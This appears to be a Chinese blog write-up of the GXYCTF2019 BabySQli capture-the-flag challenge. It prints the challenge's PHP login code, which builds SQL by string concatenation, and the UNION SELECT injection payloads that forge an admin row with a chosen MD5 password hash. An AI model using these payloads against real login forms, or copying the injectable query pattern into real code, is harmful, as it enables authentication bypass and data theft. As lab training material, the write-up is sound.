天天看點

[GXYCTF2019]BabySQli

進入題目一個登入框

[GXYCTF2019]BabySQli
對登入框做了一些正常的sql注入和fuzz發現都無果。然後在等級登入後跳轉的search.php頁面檢視源代碼發現一段編碼。
[GXYCTF2019]BabySQli

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

發現其是一段base32編碼,解碼後發現又是一段base64編碼。

[GXYCTF2019]BabySQli
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

然後base64解碼

[GXYCTF2019]BabySQli
select * from user where username = '$name'

是以知道了sql語句為select * from user where username = '$name',然後用聯合查詢進行測試字段數。

[GXYCTF2019]BabySQli

 兩個字段發現報錯

[GXYCTF2019]BabySQli

三個字段不報錯,證明sql查詢一共又三個字段。

[GXYCTF2019]BabySQli

根據提示可以知道是pass密碼錯誤,是以是又admin這個賬号的,那我們接下來測試使用者這個字段到底在哪一個字段當中。

測試1' union select 'admin',2,3#發現user錯誤

[GXYCTF2019]BabySQli

測試1' union select 1,'admin',3#,發現是pass密碼錯誤,是以知道第2個字段為user字段

[GXYCTF2019]BabySQli

然後這裡卡了好久,不知到search.php到底是怎麼寫的,然後直接看了下search.php的源代碼,做題的時候源代碼應該是看不到的,這裡是buuctf為标明題目出處放在這的。

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";
 
// 去除轉義
if (get_magic_quotes_gpc()) {
    function stripslashes_deep($value)
    {
        $value = is_array($value) ?
        array_map('stripslashes_deep', $value) :
        stripslashes($value);
        return $value;
    }
 
    $_POST = array_map('stripslashes_deep', $_POST);
    $_GET = array_map('stripslashes_deep', $_GET);
    $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
    $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
 
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
$result = mysqli_query($con, $sql);
 
if(preg_match("/\(|\)|\=|or/", $name)){
    die("do not hack me!");
}
else{
    if (!$result) {
        printf("Error: %s\n", mysqli_error($con));
        exit();
    }
    else{
        $arr = mysqli_fetch_row($result);
        if($arr[1] == "admin"){
            if(md5($password) == $arr[2]){
                echo $flag;
            }
            else{
                die("wrong pass!");
            }
        }
        else{
            die("wrong user!");
        }
    }
}
 
?>           

然後發現password有被MD5進行加密,他喵的,這題目出的,一點提示也沒有。

if($arr[1] == "admin"){
    if(md5($password) == $arr[2]){
        echo $flag;
    }
    else{
        die("wrong pass!");
    }
}
else{
    die("wrong user!");           

知道了MD5加密了password後,那就是将查詢出來的passwd和輸入的密碼的md5值比較,相等則登入得到flag不相等則wrong pass。

就是我們的sql語句執行時,password字段中的内容要==md5(我們密碼欄輸入的password)。接下裡就是要繞過密碼的md5驗證,需要把我們輸入的值和資料庫裡面存放的使用者密碼的md5值進行比較,那要怎麼繞過呢?可以用聯合查詢語句用來生成虛拟的表資料。

學到了聯合注入有個技巧。在聯合查詢并不存在的資料時,聯合查詢就會構造一個 虛拟的資料。 舉個例子:

最初users表中隻有一行資料,

[GXYCTF2019]BabySQli

我們通過union select查詢就可以構造一行虛拟的資料,

[GXYCTF2019]BabySQli

如上圖,我們在users表中利用聯合查詢建立了一行虛拟的資料。

[GXYCTF2019]BabySQli

我們的思路就來了,我們可以利用聯合查詢來建立一行admin賬戶的續集資料,混淆admin使用者的密碼,将我們自定義的admin使用者的密碼(123)加進去,這樣我們不就可以登入admin使用者了嗎。

在使用者名登入框輸入1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#其中202cb962ac59075b964b07152d234b70為123的MD5值,然後在密碼登入框中輸入123即可登入。

[GXYCTF2019]BabySQli
__EOF__
[GXYCTF2019]BabySQli

作者: 随風kali

本文連結: https://www.cnblogs.com/sfsec/p/15215102.html

版權聲明:

本部落格所有文章除特别聲明外,均采用 BY-NC-SA 許可協定。轉載請注明出處!

聲援部落客: 如果您覺得文章對您有幫助,可以點選文章右下角【

推薦

】一下。您的鼓勵是部落客的最大動力!

ctf